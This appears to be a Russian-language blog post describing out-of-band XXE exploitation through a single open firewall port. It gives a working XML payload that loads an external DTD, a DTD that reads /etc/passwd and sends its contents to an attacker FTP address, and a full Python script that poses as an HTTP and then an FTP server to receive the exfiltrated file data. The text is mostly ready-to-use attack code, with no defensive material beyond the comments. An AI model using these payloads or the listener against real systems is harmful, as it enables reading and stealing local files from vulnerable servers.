XXE – OOB-извлечение данных по HTTP+FTP через единственный открытый порт

Предположим, мы нашли XXE-уязвимость и пытаемся организовать OOB-извлечение содержимого локальных файлов уязвимого сервера.
Существуют несколько различных способов проделать это, а мне недавно пришлось использовать извлечение по FTP-протоколу (насколько я понимаю, это было связано с версией Java уязвимого сервиса – она не позволяла извлекать содержимое, например, /etc/passwd, по HTTP).

Я использовал такой вектор:

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://host:1111/ext.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

и разметил по адресу http://host:1111/ext.dtd следующий DTD:

1
2
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://host:2222/%data;'>">

Работает вектор следующим образом:
1. При обработке исходного XML уязвимое приложение подгружает внешнюю схему через HTTP по адресу http://host:1111/ext.dtd
2. При обработке загруженной схемы считывается локальный файл /etc/passwd и происходит попытка подгрузки внешней сущности exfil через FTP по адресу ftp://host:2222/%data;, где вместо %data; парсер подставит содержимое подгруженного /etc/passwd. Соответственно, контролируя FTP-сервер, мы легко прочитаем извлеченные данные.

И наверное все сработало бы как надо, если бы ни одно «но» – на серверном файерволле были разрешены исходящие соединения только на один единственный порт 3785, а необходимо было обеспечить 2 исходящих соединения: по HTTP, а потом по FTP. Пришлось подключать смекалку и думать, как корректно обработать два разных протокола на одном порту 🙂

Для успешной эксплуатации баги я написал маленький сервер на питоне, который поочередно являлся сначала HTTP-, а потом и FTP-сервером. Конечно, протоколы я реализовывал не полностью, а только ту часть, которая нужна для нашей задачи.

Смотря на описание работы вектора, которое я расписал выше, становится понятно, что такой сервер при первом запросе к нему должен прикинуться HTTP-сервером и отдать DTD с дополнительными сущностями, а при втором запросе – должен стать FTP-сервером и вывести на экран отправленные ему команды, т.к. именно в них будет содержимое файла /etc/passwd.

Итак, первая часть скрипта – HTTP-сервер, выдающий DTD:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/env/python
# coding: utf-8

from __future__ import print_function
import socket


HOST = 'host.com'
PORT = 8080

# DTD, которую сервер выдаст в ответ на любой запрос
dtd = '''<!ENTITY % data SYSTEM "file:///etc/group">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://{}:{}/%data;'>">'''
.format(HOST, PORT)

# Создаем сокет и биндим его на все интерфейсы на указанный порт
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',PORT))
s.listen(1)
conn,addr = s.accept()  # ждем входящего HTTP-соединения
print('->  HTTP-connection accepted')

# После установления соединения читаем данные
# (они нам не нужны, но прочитать требуется) и в ответ высылаем DTD,
# прикидываясь HTTP-сервером
data = conn.recv(1024)
conn.sendall('HTTP/1.1 200 OK\r\nContent-length: {len}\r\n\r\n{dtd}'.format(len=len(dtd), dtd=dtd))
print('->  DTD sent')
conn.close()

Вторая часть – имитация FTP-сервера, выводящая на экран извлеченное содержимое файла:

30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
conn,addr = s.accept()  # ждем входящего FTP-соединения
print('->  FTP-connection accepted')

conn.sendall('220 FTP\r\n')  # представляемся FTP-сервером

stop = False
while not stop:
  data = str(conn.recv(1024))  # читаем команды от клиента
 
  # когда клиент сообщает имя пользователя – просим пароль,
  # чтобы корректно имитировать процедуру аутентификации
  if data.startswith('USER'):
    conn.sendall('331 password please\r\n')

  # команда RETR как раз будет содержать извлекаемое содержимое файла
  elif data.startswith('RETR'):
    print('->  RETR command received, extracted data:')
    print('-'*30)
    print(data.split(' ', 1)[-1])
    stop = True

  elif data.startswith('QUIT'):  # останавливаемся, если клиент просит
    stop = True

  # в других случаях просим дополнительные данные
  else:
    conn.sendall('230 more data please\r\n')

conn.close()
s.close()

Запускаем скрипт на нашем сервере и отправляем исходный XML-вектор уязвимому приложению. Вот как выглядит результат работы:

XXE – OOB-извлечение данных по HTTP+FTP через единственный открытый порт

Таким образом можно используя всего один открытый на файерволле порт произвести извлечение содержимого локальных файлов сервера сразу через 2 необходимых протокола 😉

  •  
    4
    Поделились
  •  
  •  
  • 4
  •  
  •  
  •  
  •  
  •  

2 ответа на “XXE – OOB-извлечение данных по HTTP+FTP через единственный открытый порт”

    • По этим ссылкам нет информации, как провести атаку, если открыт только один порт. Но статьей на onsec я пользовался в том числе.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *